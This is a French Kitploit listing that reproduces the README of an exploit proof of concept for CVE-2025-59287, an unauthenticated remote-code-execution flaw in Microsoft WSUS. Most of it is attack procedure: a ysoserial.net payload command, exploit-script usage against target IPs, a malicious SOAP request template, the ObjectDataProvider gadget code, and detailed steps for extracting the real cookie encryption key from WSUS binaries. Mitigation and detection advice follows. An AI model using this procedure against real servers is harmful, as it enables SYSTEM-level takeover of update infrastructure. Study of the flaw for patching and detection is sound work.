Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2025-59287-exploit-poc — Preuve de concept d'exploitation pour CVE-2025-59287, une RCE critique non authentifiée dans WSUS via une désérialisation non sécurisée de BinaryFormatter, permettant d'obtenir les privilèges SYSTEM grâce à des cookies chiffrés spécialement conçus. | Kitploit
Outils/GitHubGitHub/maxymgorn/cve-2025-59287-exploit-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHubmaxymgorn/cve-2025-59287-exploit-poc

cve-2025-59287-exploit-poc

Preuve de concept d'exploitation pour CVE-2025-59287, une RCE critique non authentifiée dans WSUS via une désérialisation non sécurisée de BinaryFormatter, permettant d'obtenir les privilèges SYSTEM grâce à des cookies chiffrés spécialement conçus.

Voir le dépôt
16il y a 10 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Exploit Proof-of-Concept CVE-2025-59287

Présentation de la vulnérabilité

CVE-2025-59287 est une vulnérabilité critique d'exécution de code à distance (RCE) dans Microsoft Windows Server Update Services (WSUS). La vulnérabilité est causée par une désérialisation non sécurisée des données AuthorizationCookie via BinaryFormatter dans la méthode EncryptionHelper.DecryptData().

Impact : Des attaquants non authentifiés peuvent parvenir à une exécution de code à distance avec les privilèges SYSTEM en envoyant des cookies chiffrés malveillants au point de terminaison GetCookie().

Score CVSS : Critique (9,8)

Détails de la vulnérabilité

  • Composant affecté : Point de terminaison WSUS ClientWebService.asmx GetCookie()
  • Cause racine : BinaryFormatter.Deserialize() appelé sur des entrées non fiables sans validation appropriée
  • Vecteur d'attaque : Cookie chiffré malveillant envoyé au point de terminaison SOAP GetCookie()
  • Authentification requise : Non (RCE non authentifié)
  • Ports affectés : 8530 (HTTP), 8531 (HTTPS)
  • Architecture

    root@kitploit:~
    ┌─────────────────┐
    │   Attaquant     │
    │                 │
    │  1. Générer     │
    │     la charge   │
    │     BinaryFmt   │
    │                 │
    │  2. Chiffrer    │
    │     la charge   │
    │                 │
    │  3. Envoyer la  │
    │     requête     │
    │     SOAP        │
    └────────┬────────┘
             │
             ▼
    ┌─────────────────┐
    │   Serveur WSUS  │
    │                 │
    │  Point de       │
    │  terminaison    │
    │  GetCookie()    │
    │                 │
    │  DecryptData()  │◄─── Vulnérable
    │                 │
    │  BinaryFormatter│◄─── Désérialisation non sécurisée
    │  Deserialize()  │
    │                 │
    │  Exécuter la    │◄─── RCE en tant que SYSTEM
    │  charge utile   │
    └─────────────────┘
    

    Structure des fichiers

    root@kitploit:~
    exploit-poc/
    ├── wsus_exploit.py                    # Script d'exploitation principal
    ├── BinaryFormatterPayloadGenerator.cs # Générateur de charge utile .NET (C#)
    ├── encrypt_payload.py                 # Assistant de chiffrement WSUS
    ├── requirements.txt                   # Dépendances Python
    └── README.md                          # Ce fichier
    

    Prérequis

    Environnement Python

    root@kitploit:~
    pip install -r requirements.txt
    

    .NET Framework (pour la génération de charge utile)

    • Windows avec .NET Framework 4.0 ou version ultérieure
    • Ou utiliser ysoserial.net comme alternative

    Utilisation

    Méthode 1 : Flux de travail complet

    Étape 1 : Générer la charge utile BinaryFormatter

    Option A : Utilisation du générateur C# fourni

    root@kitploit:~
    # Compiler le générateur
    csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs
    
    # Générer la charge utile
    BinaryFormatterPayloadGenerator.exe calc.exe
    # Crée : payload_AAAAMMJJHHMMSS.bin
    

    Option B : Utilisation de ysoserial.net (recommandé)

    root@kitploit:~
    ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin
    

    Étape 2 : Chiffrer la charge utile

    root@kitploit:~
    python encrypt_payload.py payload.bin -o encrypted_cookie.txt
    

    IMPORTANT : La clé de chiffrement dans encrypt_payload.py est un espace réservé. Pour une exploitation réelle, vous devez :

    1. Rétro-ingénierer la clé de chiffrement réelle à partir des binaires WSUS
    2. Mettre à jour encrypt_payload.py avec la clé réelle
    3. Consulter la section « Trouver la clé de chiffrement WSUS » ci-dessous

    Étape 3 : Exécuter l'exploit

    root@kitploit:~
    # Utilisation d'un fichier de charge utile (chiffrement à la volée)
    python wsus_exploit.py -t 192.168.1.100 -f payload.bin
    
    # Utilisation d'un cookie pré-chiffré
    python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"
    
    # Avec HTTPS (port 8531)
    python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
    

    Méthode 2 : Test rapide

    root@kitploit:~
    # Générer, chiffrer et exploiter en une seule fois
    BinaryFormatterPayloadGenerator.exe calc.exe
    python wsus_exploit.py -t <IP_CIBLE> -f payload_*.bin
    

    Trouver la clé de chiffrement WSUS réelle

    La clé de chiffrement doit être extraite des binaires WSUS pour une exploitation réelle.

    Méthode 1 : Rétro-ingénierie avec dnSpy

    1. Localiser les DLL WSUS :

      root@kitploit:~
      %ProgramFiles%\Update Services\WebServices\bin\
      

      Ou le répertoire web IIS :

      root@kitploit:~
      %SystemDrive%\inetpub\wwwroot\wsusadmin\
      
    2. Ouvrir dans dnSpy (décompilateur .NET gratuit) :

      • Téléchargement : https://github.com/dnSpy/dnSpy
      • Ouvrir Microsoft.UpdateServices.WebServices.dll
    3. Rechercher EncryptionHelper :

      • Naviguer vers l'espace de noms : Microsoft.UpdateServices.WebServices
      • Trouver la classe EncryptionHelper
      • Examiner les méthodes DecryptData() et EncryptData()
      • Extraire la clé de chiffrement et l'algorithme
    4. Modèles courants :

      • Tableaux d'octets codés en dur
      • Constantes de chaînes
      • Dérivation de clé à partir du GUID/SID de la machine

    Méthode 2 : Analyse à l'exécution

    1. Utiliser WinDbg ou x64dbg :

      • Définir un point d'arrêt sur EncryptionHelper.DecryptData()
      • Inspecter la mémoire/les registres pour le matériel de clé
      • Surveiller les opérations de chiffrement/déchiffrement
    2. Utiliser Process Monitor :

      • Filtrer par processus WSUS
      • Rechercher l'accès au registre/aux fichiers de configuration
      • Les clés peuvent être stockées dans le registre

    Méthode 3 : Analyse statique

    1. Utiliser IDA Pro ou Ghidra :

      • Charger les binaires WSUS
      • Rechercher les chaînes liées au chiffrement
      • Analyser les algorithmes de dérivation de clé
    2. Utiliser l'utilitaire strings :

      root@kitploit:~
      strings Microsoft.UpdateServices.WebServices.dll | grep -i key
      strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
      

    Mise à jour de l'exploit

    Une fois la clé réelle obtenue, mettre à jour encrypt_payload.py :

    root@kitploit:~
    # Remplacer cette ligne dans encrypt_wsus_cookie() :
    key_material = b"WSUS_Cookie_Encryption_Key_v1.0"  # ESPACE RÉSERVÉ
    
    # Par la clé réelle :
    key_material = b"CLÉ_RÉELLE_PROVENANT_DES_BINAIRES_WSUS"
    

    Ou la transmettre via la ligne de commande :

    root@kitploit:~
    python encrypt_payload.py payload.bin -k "CLÉ_RÉELLE"
    

    Flux d'exploitation

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────────┐
    │ 1. Générer la charge utile BinaryFormatter                  │
    │    ObjectDataProvider → Process.Start() → Exécution de      │
    │    commande                                                 │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 2. Chiffrer la charge utile                                 │
    │    AES-128-CBC avec la clé de chiffrement WSUS              │
    │    Encodage Base64 pour la transmission                     │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 3. Créer la requête SOAP                                    │
    │    L'en-tête AuthorizationCookie contient la charge utile   │
    │    chiffrée                                                 │
    │    Méthode GetCookie() dans le corps SOAP                   │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 4. Envoyer au point de terminaison WSUS                     │
    │    POST /ClientWebService/ClientWebService.asmx             │
    │    Port 8530 (HTTP) ou 8531 (HTTPS)                         │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 5. Traitement WSUS                                          │
    │    DecryptData() déchiffre le cookie                        │
    │    BinaryFormatter.Deserialize() exécute la charge utile    │
    │    → RCE en tant que SYSTEM                                 │
    └─────────────────────────────────────────────────────────────┘
    

    Structure de la requête SOAP

    root@kitploit:~
    POST /ClientWebService/ClientWebService.asmx HTTP/1.1
    Host: <CIBLE>:8530
    Content-Type: text/xml; charset=utf-8
    SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
    User-Agent: WSUS Client
    
    <?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Header>
            <AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
                CHARGE_UTILE_BINARYFORMATTER_CHIFFRÉE_EN_BASE64
            </AuthorizationCookie>
        </soap:Header>
        <soap:Body>
            <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
                <cookieType>AuthorizationCookie</cookieType>
            </GetCookie>
        </soap:Body>
    </soap:Envelope>
    

    Détails de la génération de charge utile

    L'exploit utilise la chaîne de gadgets ObjectDataProvider :

    root@kitploit:~
    ObjectDataProvider provider = new ObjectDataProvider();
    provider.ObjectInstance = new Process();
    provider.MethodName = "Start";
    provider.MethodParameters = new Collection<object> { processStartInfo };
    

    Lorsque BinaryFormatter.Deserialize() traite cela, il automatiquement :

    1. Désérialise l'ObjectDataProvider
    2. Invoque le MethodName (« Start ») sur ObjectInstance (Process)
    3. Transmet MethodParameters (ProcessStartInfo)
    4. Exécute la commande avec les privilèges SYSTEM

    Liste de contrôle des tests

    • Générer la charge utile BinaryFormatter
    • Extraire/identifier la clé de chiffrement WSUS
    • Chiffrer la charge utile avec la clé correcte
    • Vérifier que le point de terminaison WSUS est accessible
    • Envoyer la requête SOAP avec le cookie malveillant
    • Vérifier l'exécution de la commande sur la cible
    • Tester dans un environnement de laboratoire isolé

    Limitations

    1. Clé de chiffrement : La clé d'espace réservé ne fonctionnera pas sur les systèmes réels. La clé réelle doit être extraite.
    2. Charge utile BinaryFormatter : Nécessite .NET Framework ou ysoserial.net pour la génération.
    3. Accès réseau : Un accès réseau au point de terminaison WSUS est requis (ports 8530/8531).
    4. Version WSUS : Le comportement peut varier selon les versions de WSUS.

    Atténuation

    Actions immédiates

    1. Appliquer la mise à jour de sécurité Microsoft : Corriger immédiatement

      • Consulter l'avis de sécurité Microsoft
      • Mettre à jour WSUS vers la version corrigée
    2. Solution de contournement temporaire : Bloquer les ports si WSUS n'est pas nécessaire

      root@kitploit:~
      # Bloquer le trafic entrant sur les ports WSUS
      New-NetFirewallRule -DisplayName "Block WSUS" -Direction Inbound -LocalPort 8530,8531 -Protocol TCP -Action Block
      
    3. Segmentation du réseau : Restreindre l'accès aux points de terminaison WSUS

      • Autoriser uniquement l'accès depuis les serveurs de mise à jour autorisés
      • Utiliser des règles de pare-feu pour limiter les IP sources

    Correctifs à long terme

    1. Remplacer BinaryFormatter : Microsoft devrait le remplacer par une sérialisation sécurisée

      • Utiliser System.Text.Json ou System.Xml.Serialization avec validation de type
      • Implémenter une liste blanche stricte des types
    2. Validation des entrées : Ajouter une validation complète

      • Valider toutes les données de cookie avant la désérialisation
      • Rejeter les types/schémas inattendus
    3. Principe du moindre privilège : Exécuter les services WSUS avec des privilèges minimaux

      • Ne pas exécuter en tant que SYSTEM si possible
      • Utiliser des comptes de service avec des autorisations limitées

    Détection

    Indicateurs de compromission (IoC)

    • Trafic réseau inhabituel vers les ports 8530/8531
    • Requêtes SOAP avec en-têtes AuthorizationCookie encodés en Base64
    • Exécution de processus inattendue depuis le contexte du service WSUS
    • Exceptions de désérialisation BinaryFormatter dans les journaux WSUS

    Analyse des journaux

    Vérifier les journaux WSUS pour :

    root@kitploit:~
    %ProgramFiles%\Update Services\LogFiles\
    

    Rechercher :

    • Erreurs de requête SOAP
    • Exceptions de désérialisation
    • Tentatives d'accès non autorisées

    Surveillance réseau

    Surveiller :

    • Requêtes SOAP vers /ClientWebService/ClientWebService.asmx
    • Charges utiles Base64 volumineuses dans les en-têtes AuthorizationCookie
    • Exécution de commandes inhabituelles depuis le service WSUS

    Avis légal

    ⚠️ AVERTISSEMENT : Ce code d'exploit est fourni pour des tests de sécurité autorisés uniquement.

    • ✅ Utilisations légales :

      • Tester vos propres systèmes
      • Tests d'intrusion autorisés
      • Recherche en sécurité avec permission
      • Fins éducatives dans des environnements contrôlés
    • ❌ Utilisations illégales :

      • Accès non autorisé aux systèmes
      • Attaques malveillantes
      • Violation des lois sur la fraude informatique
      • Toute utilisation sans permission explicite

    L'utilisation non autorisée de cet exploit peut entraîner des poursuites pénales. Utilisez de manière responsable et éthique.

    Références

    • CVE-2025-59287 : Entrée CVE officielle
    • Avis de sécurité Microsoft : Consulter le correctif officiel et les recommandations
    • Guide de sécurité BinaryFormatter : https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide
    • ysoserial.net : https://github.com/pwntester/ysoserial.net

    Crédits

    • Vulnérabilité découverte par des chercheurs en sécurité
    • PoC développé à des fins éducatives et de tests autorisés

    Historique des versions

    • v1.0 : Version initiale du PoC
      • Script d'exploitation principal
      • Générateur de charge utile .NET
      • Assistant de chiffrement
      • Documentation

    Rappel : Testez toujours dans des environnements isolés et contrôlés. N'utilisez jamais contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.

    Télécharger l’outil